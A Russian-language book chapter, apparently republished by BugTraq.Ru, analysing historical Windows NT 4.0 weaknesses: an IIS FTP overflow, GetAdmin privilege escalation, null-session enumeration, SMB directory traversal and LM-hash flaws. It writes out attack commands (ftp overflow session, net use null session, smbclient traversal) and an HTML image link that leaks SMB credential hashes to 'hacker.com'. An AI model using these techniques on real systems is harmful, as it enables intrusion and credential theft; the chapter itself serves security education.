BugTraq.Ru: Windows NT

Прошлое и настоящее сетевых операционных систем

Windows NT

Мы специально так подробно рассмотрели UNIX и закончили классификацией причин ее уязвимости, чтобы читателю было легче провести параллель с более молодой операционной системой - Windows NT. Сразу оговоримся, что, в отличие от UNIX, речь будет идти только об одной версии - Windows NT 4.0.

Windows NT - сильно выделяющийся продукт среди ОС, производимых фирмой Microsoft. Во-первых, это единственная система, способная работать на процессорах, отличных от Intel-совместимых, а именно на процессоре Alpha. Во-вторых, эта ОС выпускается в виде двух реализаций - как сервер (Windows NT Server) и как рабочая станция (Windows NT Workstation). В-третьих, ядро этой системы писалось с нуля, и при его разработке не требовалась 100-процентная совместимость с более ранними ОС типа MS DOS. Наконец, только в этой ОС с самого начала было уделено должное внимание требованиям безопасности, что привело к созданию собственной файловой системы, нового алгоритма аутентификации, подсистемы аудита и т.п.

Последний факт послужил поводом к возникновению нескольких мифов о защищенности Windows NT. Часто можно услышать, что Windows NT на сегодняшний день - самая защищенная сетевая ОС. На самом же деле, как подчеркивалось во введении к этой главе, пока нельзя сказать, какая из ОС является более защищенной и по каким параметрам. Этого нельзя будет сделать до тех пор, пока Windows NT не проработает хотя бы несколько лет в качестве сетевой ОС на различных аппаратных и программных конфигурациях. Ей, видимо, это не грозит в связи с выходом Windows 2000 (она же Windows NT 5.0), и процесс тестирования начнется сначала. Наконец, накопленный на сегодняшний день опыт уже не подтверждает притязаний NT на самую защищенную ОС, что и показано в данном разделе.

Второй устойчивый миф гласит, что Windows NT 4.0 якобы была сертифицирована по американскому классу защищенности С2. На самом же деле здесь ситуация почти как в анекдоте про Иванова, который выиграл в лотерею:

Не Windows NT 4.0, а 3.5, причем обязательно с Service Pack 3.
Сертификация касалась только локальной (не сетевой) версии NT, то есть с отсутствующими сетевыми адаптерами и внешними накопителями.
Сертификация производилась на конкретной аппаратной платформе, а именно: Compaq Proliant 2000 and 4000 (для платформы Intel/Pentium) и DECpc АХР/150 (для платформы Alpha). Если NT установлена па другую платформу, сертификат на нее не распространяется.
Класс С2 является одним из самых низких классов защищенности (ниже только С1 и D). Учитывая, что к классу D относятся все системы, не попадающие в другие классы, и сертифицировать по нему что-либо бессмысленно, а по классу С1 сертификация также не производится, получаем, что С2 - это низший класс защищенности, по которому вообще может производиться сертификация ОС.

Отметим также, что сам процесс сертификации - достаточно формальная в плане определения уязвимостей процедура, при которой проверяется соответствие продукта всем требованиям для данного класса защищенности, и этот процесс никоим образом не гарантирует отсутствия уязвимостей.

Классификация причин уязвимости Windows NT

В отличие от описания проблем с безопасностью у UNIX, здесь мы пойдем по обратному пути: сначала классифицируем возможные способы нарушения безопасности Windows NT, а затем будем приводить примеры.

Оказывается, что классификация причин уязвимости Windows NT весьма похожа на рассмотренную аналогичную классификацию для UNIX (рис. 9.5).

Рис. 9.5. Причины уязвимости Windows NT

Удаленное выполнение кода

Ясно, что механизм демонов, отвечающих за обработку соединений с тем или иным TCP-портом, должен был остаться и в Windows NT. Действительно, все основные службы, используемые в Internet, - ftp, WWW или e-mail - должны поддерживаться любой ОС, включающей в себя реализацию стека протоколов TCP/IP. Более того, все основные команды для работы с ними также стандартизованы. Пусть в Windows NT эти программы называются не демонами, а серверами, суть от этого не меняется, а именно: как и в случае UNIX-систем, некий неидентифицируемый пользователь (человек, сидящий за своим компьютером по другую сторону океана) тоже может давать некоторые команды серверам, подключившись на соответствующий порт. Отсюда ясно, что от классических проблем с переполнением буфера Windows NT принципиально не может быть защищена.

Получение прав другого пользователя

Естественно, что неудачного механизма SUID/SGID-программ, являющегося основным источником получения привилегированных прав в UNIX, в Windows NT нет. Тем не менее в операционной системе, где одновременно функционируют процессы с разными привилегиями, всегда потенциально можно получить права более привилегированного процесса. Этого нельзя сделать только в том случае, когда система написана так, что не содержит ошибок во внедрении и реализации не только подсистемы разграничения доступа, но и всего ядра ОС, управляющего процессами, файловой системой и т.п. Для современных ОС, объем исходного кода которых исчисляется сотнями тысяч строк (а для Windows NT 5.0 - около 5 миллионов), гарантировать отсутствие ошибок нельзя при любых технологиях написания этого кода и любом мыслимом уровне тестирования.

Windows NT содержит процессы (они называются сервисами), которые запускаются чаще всего от имени system. Это специальное имя не сильно афишируется (по крайней мере, вы не найдете его в списке имен пользователей программы User manager) и обладает полномочиями администратора на локальной машине. Таким образом, запустив программу от имени system, злоумышленник получает возможности, сравнимые с возможностями суперпользователя для UNIX-систем. Такой запуск может быть реализован как классическими методами типа переполнения буфера, так и специфичными для Windows NT способами.

Нелегальное подключение к системе

Как вы помните, в некоторых случаях пользователь может подключаться к UNIX без предъявления пароля, В Windows NT такой механизм отсутствует, однако возможность нелегального (или полулегального) подключения к Windows NT все же остается. Дело в том, что в этой системе существуют некие пользователи и группы со стандартными общеизвестными именами. Один из пользователей - Guest, по умолчанию имеющий пустой пароль, - действительно хорошо известен и хакерам, и администраторам. Именно поэтому он запрещен по умолчанию, что делает его не очень ценной находкой для злоумышленников. Однако существует другой, менее известный (по крайней мере, администраторам) пользователь - анонимный (не путать с анонимным пользователем ftp или http), с пустым именем и паролем (не пытайтесь, однако, при входе в систему оставить пустыми имя и пароль пользователя - это не сработает, для анонимного подключения к компьютеру требуется другая процедура, о которой мы расскажем чуть позже), поэтому он несколько отличается от обычных пользователей, но тем не менее обладает правами, сходными с правами группы Everyone (все).

Итак, классификацию всех пользователей (субъектов) Windows NT аналогично пользователям UNIX можно представить в следующем виде:

Администраторы - все права на локальном компьютере или домене. Отличие от UNIX в том, что их может быть много.
Обычные пользователи - аналогично UNIX.
Специальные пользователи - предопределенные имена, как правило, использующиеся системой. Могут иметь достаточно широкие полномочия.
Псевдопользователи - удаленные пользователи, взаимодействующие с сетевыми серверами. Не являются пользователями как таковыми, не проходят регистрацию и не могут подключиться к компьютеру в явной форме - аналогично UNIX.
Анонимные пользователи - не имеют пароля, но имеют права, сходные с правами Everyone.

Человеческий фактор

Отметим, что ошибки администрирования, которые были неизбежны в UNIX, в Windows NT, может быть, сделать и сложнее, но здесь есть другая особенность: пусть администратор знает, что ему нужно сделать, но не может - закрытость Windows NT не предоставляет ему таких гибких механизмов настройки, как UNIX.

Совместимость с другими операционными системами

Практически всегда требования совместимости или переносимости противоречат требованиям безопасности. К примеру, несмотря на то что для Windows NT была разработана специальная хэш-функция, она вынуждена поддерживать еще одну, которая берет свое начало от самых первых сетевых приложений Microsoft. Поэтому в криптографическом плане Windows NT порой оказывается слабее UNIX. И еще: довольно часто Windows NT приходится поддерживать решения, которые являются устаревшими с точки зрения безопасности.

Переполнения буфера в системных сервисах

Совершенно очевидно, что аналогично UNIX-системам наличие потенциальных ошибок в программах, отвечающих за поддержку основных служб Internet, является самой серьезной уязвимостью, допускающей удаленное исполнение кода незарегистрированным пользователем.

Готовя материал для этого раздела, мы до самого последнего момента не могли найти хорошего примера. Были уязвимости, приводящие "всего лишь" к отказу в обслуживании; были переполнения буфера с возможностью исполнения кода, по для этого требовались некоторые действия от пользователя (типа "забрать почту с сервера", "прочитать письмо" и т. п.); самой нашумевшей уязвимостью оказалось переполнение буфера при чтении письма с MIME-вложением. Мы же хотели привести пример классического переполнения, при котором осуществимо удаленное вторжение без каких-либо действий с атакуемой стороны, потому что точно уверены в возможности этого из-за особенностей архитектуры Windows NT.

То, что такими примерами не изобилует история безопасности Windows, говорит вовсе не о качестве написания программного кода, а всего лишь о том, что программ, которые могут содержать бреши в безопасности, не так уж много - Microsoft Internet Information Server, реализующий http-, ftp-, gopher-серверы, и Microsoft Exchange Server, отвечающий за SMTP и POP3. Сравните это с огромным количеством демонов от разных фирм (мы не утверждаем, что это хорошо), доступных для UNIX!

Но все же в последний момент, в январе 1999 года, появилась долгожданная уязвимость в ftp-сервере, входящем в состав IIS 4.0. Оказывается, команда NLST содержала переполняемый буфер с возможностью не только отказа в обслуживании сервера, но и удаленного исполнения кода. Проверить наличие этой уязвимости можно примерно следующим набором команд:

>ftp victim.com
Connected to victim.com.
220 VICTIM Microsoft FTP Service (Version 4.0). 
User (poor.victim.com:(none)): ftp
331 Anonymous access allowed, send identity (e-mail name) as password. 
Password: 
230 Anonymous user logged in.
ftp> ls ААААААААААААААААААААААААААААААААААААААААААААААААААААААААААААА
АААААААААААААААААAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAA
200 PORT command successful.
150 Opening ASCII mode data connection for file list. 
-> ftp: get :connection reset by peer

Минимально необходимый объем данных команды NLST, который вызывает переполнение, - 316 байт, при этом возможен только отказ в обслуживании, что следует из содержимого регистров в момент аварийного останова - они равны:

  ЕАХ = 0000005С ЕВХ = 00000001 
  ЕСХ = 00D3F978 EDX = 002582DD 
  ESI = 00D3F978 EDI = 00000000 
  ЕIР = 710F8AA2 ESP = 00D3F644 
  ЕВР = 00D3F9F0 EFL = 00000206

Как видно, ни один из регистров не содержит шестнадцатеричного кода 41, соответствующего букве "А".

Со строками большей длины картина будет иной, а именно:

ЕАХ = 00000000 ЕВХ = 41414141 
ЕСХ = 41414141 EDX = 722С1САС 
ESI = 41414141 EDI = 41414141 
ЕIР = 722C9262 ESP = 00D3F524 
ЕВР = 00D3F63C EFL = 00000246

Большое количество кодов (41) означает, что содержимое буфера попадает в регистры, правда, не в ЕIР. Следовательно, переполняемый буфер находится не в стеке, что усложняет задачу злоумышленника по удаленному выполнению кода, но отнюдь не делает его невозможным.

Данный пример заслуживает внимания еще двумя моментами. Во-первых, такая уязвимость проявляется только после установки Service Pack 4, а с предыдущим Service Pack 3 повторить ее никому не удалось. Это подтверждает очевидный факт: после любых изменений в программах (тем более после таких серьезных, как Service Pack, занимающих десятки мегабайт) всеобъемлющее тестирование должно проводиться заново, а если это невыполнимо, то никто не смеет утверждать, что в программных продуктах не возникнут новые ошибки.

Во-вторых, уязвимость была найдена с помощью автоматизированного средства для поиска переполнений буферов Retina, разрабатываемого группой eEye (www.eeye.com). Собственно идея создания такого средства для нужд компьютерной безопасности, что называется, витает в воздухе, и подобные проекты уже существовали, но на этот раз с помощью Retina удалось отловить довольно серьезную уязвимость. Кстати, вскоре она обнаружила и переполнение буфера в уже известном читателю wu-ftpd с отказом в обслуживании.

Надо отдать должное фирме Microsoft, которая всегда оперативно реагирует на сообщения о найденных уязвимостях. И на этот раз hot-fix (заплатки) появились через 10 дней после первых сообщений, при этом большая часть времени, видимо, ушла на воспроизводство условий, необходимых для переполнения буфера, то есть на подтверждение его реальности.

Получение прав администратора

Из классификации уязвимостей Windows NT следует, что для получения прав привилегированных пользователей необходимо исполнить код от имени одного из системных процессов (сервисов). Первой и самой известной из программ такого рода была появившаяся в 1997 году утилита GetAdmin (кстати, разработанная российским исследователем Константином Соболевым).

Несмотря на подчеркнутые нами отличия хакера от кракера, не хотим писать здесь слово "хакер", так как при цитировании в соответствующем контексте цель этого исследования может быть неверно истолкована.

Чтобы исполнить код, разработчик применил интересный механизм, называемый внедрением в процесс (а не стандартное переполнение буфера, как это можно было ожидать). Для внедрения в процесс используются функции OpenProcess, WriteProcessMemory, CreateRemoteThread, а самое главное - при этом необходимы привилегии SeDebugPrivilege - отладка объектов низкого уровня, в том числе потоков (threads), которые по умолчанию даются только группе администраторов. Вот как описывает автор дальнейший принцип работы своей утилиты [8]:

"Получается, что пользователь, который имеет привилегию "отладка программ", может получить права администратора на локальной машине. Но как же обойти необходимость в специальных привилегиях? Решение было найдено мной несколько позже - в июне 1997 года. Заняло примерно одну неделю.

Изучая работу ntoskrnl.exe (ядро Windows NT), я обнаружил (далеко не случайно, в ntoskrnl сотни функций), что функция NtAddAtom не проверяет адрес своего второго аргумента. Иначе говоря, если передать в качестве параметра любой адрес, туда будет записано некое число (результат выполнения NtAddAtom).

Функция NtAddAtom в WIN32 API вызывается функцией AddAtom, которая используется достаточно часто. Но функция AddAtom принимает только один параметр (адрес строки), поэтому вызов ее не приводил к катастрофическим последствиям.

Итак, получается, мы можем писать в любую область адресного пространства Windows NT... В системе Windows NT есть некий глобальный флaг NtGlobalFlag, имеющий адрес примерно Ох801ХХХХХ. Изменением одного из битов этого флага мы можем превратить Windows NT в Windows NT Checked Build, и право SeDebugPrivilege не будет необходимо для внедрения в системные процессы".

Дальнейшее уже зависит от стремлений хакера - имея привилегии system, можно сделать с системой все, что угодно. Программа GetAdmin внедряла в процесс WinLogon код, добавляющий текущего пользователя в группу администраторов.

Как говорится, трудно только в первый раз. Вскоре последовали различные способы получения прав администратора в Windows NT, либо развивающие идею внедрения в процессы (например, Sechole), либо использующие другие пути. Одним из самых оригинальных и в то же время очевидных оказался способ подмены программы, вызываемой при сбое другого процесса. По умолчанию в Windows NT это программа Dr. Watson, вызов которой располагается в каталоге реестра HKLM\Software\Microsoft\Windows NT\CurrentVersion\AeDebug. Если же прописать туда вызов не Dr.Watson, а, скажем, User Manager, то последний будет запускаться при каждом аварийном завершении некоторого процесса. Право на чтение и запись в этот каталог реестра имеет любой член группы Everyone. Итак, злоумышленнику осталось только найти подходящий системный процесс, который он смог бы "подвесить". Учитывая стиль программирования от Microsoft, сделать это не так трудно.

Не правда ли, все это чрезвычайно похоже на получение прав суперпользователя через SUID/SGID-программы? Совершенно очевидно, что никто уже не верит в непогрешимость модели разграничения полномочий в Windows NT и вскоре появятся новые способы несанкционированного присвоения дополнительных прав.

Уже сдавая рукопись в редакцию, мы обнаружили такой способ, опубликованный известной хакерской группой L0pht. См. бюллетень безопасности Microsoft MS006-99 "KnownDLLs List Vulnerability".

При обсуждении SUID/SGID-механизма мы подчеркивали, что он сам по себе позволяет строить только локальные атаки, которые легко превращаются в "удаленные", если злоумышленник подключается к компьютеру по протоколу TELNET. В Windows NT дело обстоит примерно так же: программы получения прав администратора могут быть запущены удаленно, например через механизм CGI или при использовании TELNET, поставляемого третьими фирмами (так как в стандартной конфигурации он не предусмотрен).

Итак, повторим основные уязвимости Windows NT, делающие возможными атаки типа GetAdmin (первые два пункта могут быть отнесены к люкам):

возможность отлаживать потоки;
наличие NtGlobalFlag;
ошибки в функциях ядра и в системных сервисах, в том числе недостаточные проверки на корректность параметров. Типичный пример непредусмотренных входных данных;
слишком широкий доступ к параметрам реестра.

Разделение ресурсов и анонимный пользователь

Доступ к файлам и принтерам на удаленных компьютерах под управлением ОС семейства Windows осуществляется через протокол SMB. Более того, этот протокол используется многими компонентами удаленного управления системой, например программами Regedit, User Manager и Server Manager. Поэтому значение протокола с точки зрения безопасности является очень важным. В частности, к нему могут быть применены типовые удаленные атаки (см. главы 3-8).

Но какое отношение он имеет к Internet? Ведь протокол SMB задумывался для разделения ресурсов внутри локальной сети (домена). Дело в том, что SMB, являясь протоколом прикладного уровня, может быть построен на основе любого транспортного протокола, совместимого с интерфейсом NetBIOS. Обычно в сетях Microsoft для этих целей используется NetBEUI, однако может быть использован и IPX, и, естественно, IP (NetBIOS over TCP/IP). Именно поэтому все, что говорится о SMB, относится и к глобальным сетям, построенным на TCP/IP. Например, если вы разрешили доступ на ваш диск С: своему коллеге, сидящему в соседней комнате, и подключились к Internet, то имейте в виду, что доступ к диску теперь получат и пользователи извне, задав команду типа

>net use * \\194.94.94.94\DISK_C password /USER: user,

где 194.94.94.94 - ваш IP-адрес;
DISK_C - разделяемое имя диска С:;
user, password - имя и пароль для подключения к ресурсу.

Более того, даже если вы и не стремились предоставить никому доступ к вашим дискам, NT это сделает за вас. В ней есть так называемое административное (или скрытое) разделение ресурсов, отличающееся от обычных символом "$" в конце, а также тем, что эти скрытые ресурсы вновь появляются после перезагрузки, даже если вы их удалите вручную. Их имена - С$, D$ и т. д., обозначающие ваши жесткие диски, а также ADMINS, указывающий на каталог %SystemRoot%. Такие ресурсы доступны только администратору и не выводятся в списке разделяемых ресурсов командой net view. Настройками в реестре можно отказаться от их наличия, но по умолчанию они существуют.

Хорошо ли, что SMB может быть построен на базе TCP/IP? С точки зрения функциональности - безусловно, Microsoft даже предлагает свой стандарт на глобальную файловую систему - CIFS (Common Internet File System), представляющий собой не что иное, как систему разделения ресурсов от Microsoft в рамках всего Internet. Но с точки зрения безопасности такой подход грозит дополнительными уязвимостями, обусловленными недостатками SMB.

В дальнейших рассуждениях мы предполагаем, что цель атаки - машина под управлением Windows NT, а не Windows for Workgroups или Windows 95/98, хотя они используют для разделения ресурсов тот же самый протокол SMB. Дело в том, что у этих операционных систем есть возможность обеспечивать разделение ресурсов на уровне ресурса (share level), при котором не требуется идентификации пользователя, а нужен только пароль на ресурс. Windows NT же обеспечивает разделение только на уровне пользователя (user level), при котором необходимо вводить и имя, и пароль. Вообще, применение Windows 95/98 в качестве основной ОС для хоста (сервера) в Internet - это нонсенс, и в нашей книге такой вариант практически не рассматривается.

Напомним еще раз, что необходимо знать злоумышленнику для подключения к разделяемому ресурсу на удаленной машине:

IP-адрес. Он его, безусловно, знает.

Имя ресурса. Его можно узнать с помощью той же самой команды net: net view \\194.94.94.94. Впрочем, для этого все равно надо знать имя и пароль (то есть сначала злоумышленник должен ввести net use, а потом уже net view).

Имя и пароль. Итак, именно в них вся загвоздка.

Однако нет ли в Windows NT какого-нибудь способа, позволяющего обойтись без знания имени и/или пароля? Оказывается, есть. Самой системе иногда требуется подключение к компьютеру, например для обеспечения межкомпьютерных связей в домене. И при этом ей приходится как-то идентифицироваться на удаленном компьютере. Такой механизм называется null session (нуль-сеанс, или анонимное подключение). Чтобы его установить, необходимо ввести пустое имя пользователя и пустой пароль, при этом для анонимного подключения всегда открыт специальный ресурс IРС$ (inter-process communication):

net use \\194.94.94.94\IPC$ "" /USER:""

Анонимный доступ имеет ряд ограничений, в частности не позволяет подключать непосредственно разделяемые диски, но может предоставить следующие возможности:

вывести список разделяемых ресурсов;
удаленно просмотреть реестр с помощью стандартных программ Regedit или Regedt32 (если не запрещено его разделение). При этом ему будут доступны те разделы реестра, которые доступны Everyone, то есть многие. Например, в каталоге HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon существуют поля "DefaultUsername" и "DefaultPassword", означающие имя и пароль пользователя при autologon (автоматический вход в систему);
запустить User Manager и просмотреть список существующих пользователей и групп;
запустить Event Viewer и другие средства удаленного администрирования, использующие SMB.

Такая атака получила название RedButton, как и вышедшая в 1997 году программа-демонстратор, хотя о возможности анонимного подключения было известно со времен Windows NT 3.5. Service Pack 3 закрывает большинство этих возможностей, но не устраняет причину - анонимного пользователя. Поэтому после установки Service Pack 3 все равно можно просмотреть разделяемые ресурсы, а также узнать имена всех пользователей и групп в системе благодаря наличию общеизвестных (well-known) имен и идентификаторов субъектов.

С целью идентификации субъектов (пользователей или групп) Windows NT использует SID (security identifier - идентификаторы безопасности), но, в отличие от UID в UNIX, они у NT более сложные, имеют большую длину и уникальны для каждого пользователя даже на разных компьютерах. SID принято записывать в виде S-1-XXXXX-YYYYY₁-YYYYY₂-.., где S-1 - идентификатор безопасности, версия 1; ХХХХХ - номер ведомства (authority); YYYYY_n - номера подразделений (subauthority), причем последний из них задает RID (relative identifier - относительный идентификатор), который не будет уникальным для каждого компьютера. Например, для администратора - RID всегда 500 (прямая аналогия с UID root в UNIX, который всегда 0).

Итак, каждый идентификатор сопоставляется с некоторым субъектом, и существуют функции Win32 API, позволяющие получить SID по имени (LookupAccountName), и наоборот (LookupAccountSid).

Теперь нетрудно догадаться, что после установки анонимного подключения эти функции возможно применить и к удаленному компьютеру. Российским исследователем Евгением Рудным были написаны две простые программы, sid2user и user2sid, осуществляющие такие вызовы. Дальше кракеру поможет знание общеизвестных имен или RID.

Например, чтобы найти настоящее имя администратора (для большей безопасности Microsoft рекомендует его переименовывать), можно использовать примерную схему:

Осуществить поиск любого стандартного имени на удаленном компьютере, к примеру "Domain Users":
```
>user2sid \\194.94.94.94 "Domain users",
```
что выдаст, например: S-1-5-21-111111111-22222222-33333333-513, то есть ведомство 5, подразделение 21-111111111-22222222-33333333, RID 513.
Найти имя администратора (он же входит в пользователи домена, a RID всегда один и тот же!):
```
>sid2user \\194.94.94.94 5 21 111111111 22222222 33333333 500
Name is Vovse_Ne_Administrator 
Domain is Vovse_Ne_Domain 
Type of SID is SidTypeUser
```

Далее можно просмотреть всех остальных пользователей и, более того, отследить временную иерархию их создания или удаления.

Несколько похоже на получение информации о системе через finger, не так ли? С одним маленьким дополнением - службу finger запретить легко, а здесь ничего не сделать.

Протокол SMB в глобальных сетях

Протокол SMB известен давно и имеет несколько диалектов - от PC Network Program, предназначенного для сетевых расширений DOS, до NT LM 0.12, применяемого уже в Windows NT. К сожалению, с точки зрения безопасности эти диалекты совместимы снизу-вверх, точнее, серверу приходится поддерживать несколько из них. Это приводит, например, к такой простой атаке, как указание клиенту передавать пароль в открытом виде, потому что сервер якобы не поддерживает зашифрованные пароли. Естественно, роль сервера здесь выполняет ложный сервер злоумышленника (см. главу 3).

Из-за поддержки устаревших с точки зрения безопасности сетевых решений SMB может быть подвержен атаке на получение доступа ко всему диску, если у злоумышленника есть права только на его часть (каталог). Для этого взломщику достаточно указать имя каталога через ".." [19]. Успех атаки заключен в том, что проверка правильности вводимого имени производится не на сервере, а на клиенте. Windows-клиент не пропустит имя каталога, содержащее "..", но ведь возможно использовать, например, UNIX-клиент SMB, слегка его подправив, благо, он есть в исходных текстах. Действия кракера при наличии легального доступа к каталогу SOME_DIR могли бы выглядеть примерно так:

$smbclient \\\\VICTIM\\SOME_DIR -n TRUSTME -m LANMAN2 -U HACKER -I 194.94.94.94 
smb: \> dir
smb: \> cd .. 
smb: \..\>dir 
smb: \..\>cd \..\.. 
smb: \..\..\>dir 
smb: \..\..\>get config.sys -
smb: \..\..\>cd windows
smb: \..\..\windows\>

Далее злоумышленник может поместить в системный каталог Windows, например, "троянского" коня. Первоначальная реакция Microsoft: "Samba -это неправильный клиент, и он не должен быть использован".

Аналогичные попытки делает и NAT (NetBIOS Auditing Tool) - распространенное средство анализа безопасности для Windows-сетей. Вот фрагмент его исходного текста:

strcpy(cur_dir, "..\\*.*"):
do_dir (inbuf, outbuf, cur_dir, fattr, cmp_stash, False); 
tested_stash = 0:
strcpy(cur_dir, "\\..\\*.*");
do_dir (inbuf, outbuf, cur_dir, fattr, cmp_stash, False): 
tested_stash = 0; 
strcpy (cur_dir, "...\\*.*"),
do_dir (inbuf, outbuf, cur_dir, fattr, cmp_stash, False); 
tested_stash = 0; 
strcpy (cur_dir, ".\\...\\*.*");

Вообще, ошибки, связанные с подменой файлов через относительные пути, становятся сильно распространенными. Все крупные производители серверов для Windows NT их допустили, по крайней мере, по одному разу (см. главу 10). Что касается вышеприведенного фрагмента, то он датирован 17.02.97. Как видно, автор NAT прекрасно был осведомлен о возможности доступа к каталогу в Windows 95 (в Windows NT такой возможности нет), лежащему двумя уровнями выше, через "...". Только почти два года спустя эта "особенность" Windows 95 стала хорошо известна, когда таким же образом удалось получить доступ ко всему диску путем указания URL вида http://www.victim.com/.../.

Попытки использовать SMB в качестве протокола для глобальных сетей приводят и к другим весьма серьезным уязвимостям. Оказывается, можно, например, удаленно получить имя и хэшированный пароль пользователя без его ведома. И в самом деле, указав в HTML-странице ссылку вида: <IMG SRC = "file:////hacker.com/share/image.gif">, злоумышленник заставит ваш браузер присоединиться к SMB-серверу hacker.com. Windows NT позволяет сделать это, даже не спрашивая пользователя о подтверждении: она просто передает имя и хэшированный пароль на сервер! Такой атаке подвержена Windows NT версий 3.51 и 4.0 вплоть до последних Service Pack, в качестве браузера может выступать любой Microsoft Internet Explorer или Netscape Navigator от вторых версий до четвертых. Это и не удивительно, так как уязвимость является фундаментальной и исправить ее любым Service Pack практически невозможно, надо серьезно пересматривать сам процесс идентификации-аутентификации SMB-клиентана сервере.

Получается, свершилось то, о чем даже не мечтали UNIX-хакеры! Можно удаленно "стянуть" имя и зашифрованный пароль пользователя, правда, эта атака пассивна - незадачливый "клиент" сам заходит на враждебный сайт, а не наоборот.

Представитель Microsoft Майк Нэш (Mike Nash), отвечающий за маркетинг Windows NT, узнав об этой уязвимости, заявил: "Хорошо, что люди тестируют наши продукты, и лучшее, что мы можем сделать, - повысить осведомленность наших покупателей в вопросах безопасности" [28].

Итак, следующие особенности Windows NT приводят к успеху удаленных атак на разделяемые ресурсы:

наличие "скрытых" разделяемых ресурсов, восстанавливающихся при каждой перезагрузке сервера;
наличие анонимного пользователя и "нуль-сеанса" подключения к IРС$;
наличие общеизвестных имен и идентификаторов безопасности;
наличие нескольких диалектов SMB;
перекладывание некоторых функций SMB-сервера на клиентов;
непригодность стандартной процедуры входа в систему для глобальных сетей.

Процедуры идентификации и аутентификации

Из предыдущих разделов читатель уже уяснил, что для любых действий с сервером Windows NT сначала нужно зарегистрироваться. Рассмотрим процедуры идентификации и аутентификации в этой ОС, используемые в них криптографические алгоритмы и сравним их с аналогичными процедурами в UNIX.

Упрощенно можно считать, что в Windows NT существует две принципиально разные процедуры регистрации на сервере - локальная и удаленная. Для первой, так же как и в UNIX, хэш от введенного пароля пользователя сверяется с эталонным хэш-значением, хранящимся в базе данных диспетчера учетных записей (SAM - Security Account Manager). Для удаленной процедуры можно было применить ту же схему, но тогда значение хэша пользователя передавалось бы по каналам связи на сервер и в принципе могло быть перехвачено кракером. Поэтому здесь, в отличие от UNIX, используется механизм "запрос-отклик", при котором в общедоступные каналы связи передается только зашифрованное на случайном ключе хэш-значение.

Функции хэширования паролей

В ОС Windows NT для защиты паролей используются две однонаправленные хэш-функции: хэш Lan Manager (LM-хэш) и хэш Windows NT (NT-хэш). Наличие двух функций, выполняющих одно и то же, говорит о совместимости со старыми ОС. LM-хэш был разработан Microsoft для операционной системы IBM OS/2, он интегрирован в Windows 95/98, Windows for Workgroups и частично в Windows 3.1. Хэш Windows NT был разработан специально для ОС Microsoft Windows NT, и его умеют вычислять только последние версии ОС этого семейства, начиная с Windows 95. Функция LM-хэш основана на алгоритме DES; NT-хэш является не чем иным, как известной хэш-функцией MD4.

Обычно в базе данных SAM хранятся, будучи дополнительно зашифрованными по алгоритму DES с ключом, зависящим от RID пользователя, оба хэш-образа пароля. Но иногда в системе может храниться только один из них. Очевидно, это будет происходить в случае, когда пользователь меняет пароль из ОС, не поддерживающей NT-хэш, - тогда в базу SAM записывается только LM-хэш (а поле NT-хэша обнуляется). И наоборот, если пароль пользователя превышает 14 байт, то туда попадет один лишь NT-хэш.

В документации Microsoft сказано, что длина паролей Windows NT может достигать 128 символов. Однако User Manager (диспетчер пользователей) ограничивает длину до 14 символов.

При обоих способах входа в систему (локальном и удаленном) процедура аутентификации сначала пытается сверить NT-хэш. Если его не оказывается (либо в базе SAM, либо в переданной информации), тогда она пытается проверить подлинность по LM-хэшу. Такая схема призвана обеспечить большую надежность сетей Windows NT, но в то же время и совместимость со старыми сетевыми клиентами. Однако первое ей не удается по той простой причине, что часто клиент не знает, какой хэш следует передавать серверу, в результате оба хэша передаются одновременно, и стойкость их равна стойкости наиболее слабого из них. Какого же? Функция хэша Lan Manager вычисляется таким образом:

Пароль превращается в 14-символьную строку путем либо усечения более длинных паролей, либо дополнения коротких паролей нулевыми элементами.
Все символы нижнего регистра переводятся в верхний регистр. Цифры и специальные символы остаются без изменений.
Полученная 14-байтовая строка разбивается на две 7-байтовых половины.
Каждая половина строки используется в роли ключа DES при шифровании фиксированной константы, что дает две 8-байтовых строки.
Эти строки сливаются для создания одного 16-разрядного значения хэш-функции.

Из этого можно сделать вывод, что атаки на функцию LM-хэша достигают успеха по следующим причинам:

Преобразование всех символов в верхний регистр ограничивает и без того небольшое число возможных комбинаций для каждого (26 + 10 + 32 = 68).
Две "половины" пароля хэшируются независимо друг от друга. Таким образом, обе 7-символьные части пароля могут подбираться перебором независимо друг от друга, и пароли длиной более семи символов не сильнее паролей длиной в семь символов. Следовательно, для гарантированного нахождения пароля необходимо перебрать вместо 94⁰ + 94¹ + ...+ 941⁴ ~ 4 x 10²⁷ всего лишь 68⁰ + 68¹ +...+ 68⁷ ~ 7 х 10¹² ~ 2⁴³ комбинации (то есть почти в 10¹⁵ раз меньше).
Кроме того, пароли, длина которых не превышает семи символов, очень легко распознать, поскольку вторая половина хэша будет одним и тем же значением AAD3B435B51404EE, получаемым при шифровании фиксированной константы с помощью ключа из семи нулей.

По логике вещей эту сумму надо было умножить на два, так как необходимо перебирать две половинки хэша. Но нетрудно оптимизировать атаку так, чтобы перебрались все пароли только по одному разу, сравнивая поочередно их хэш-значение с каждой половинкой, что сократит время перебора почти в два раза.

Скорость перебора паролей в 15 раз больше, чем в UNIX, и достигает 190 000 паролей/с на Pentium 166.
Нет элемента случайности (привязки (salt), как это сделано в crypt()) - два пользователя с одинаковыми паролями всегда будут иметь одинаковые значения хэш-функции. Таким образом, можно заранее составить словарь хэшированных паролей и осуществлять поиск неизвестного пароля. Это позволит увеличить скорость перебора на несколько порядков.

Итак, хэш-функция, разработанная на базе того же самого алгоритма DES, но на 10-15 лет позже функции crypt(), оказывается хуже последней по всем параметрам, а именно:

по мощности перебора для гарантированного подбора пароля - почти в 1000 раз;
по скорости перебора - почти в 15 раз;
по отсутствию случайности, что приводит к уменьшению требуемой памяти для хэширования каждого пароля, - в 4 096 раз.

Не удивительно, что фирме Microsoft пришлось разрабатывать более криптостойкую функцию (точнее, не изобретать велосипед, который мог оказаться с квадратными колесами, а воспользоваться готовым образцом). Хэш Windows NT вычисляется следующим образом.

Пароль длиной до 128 символов преобразуется в строку в кодировке Unicode, при этом сохраняются разные регистры.
Эта строка хэшируется с помощью MD4, что дает в результате 16-байтовое значение хэш-функции.

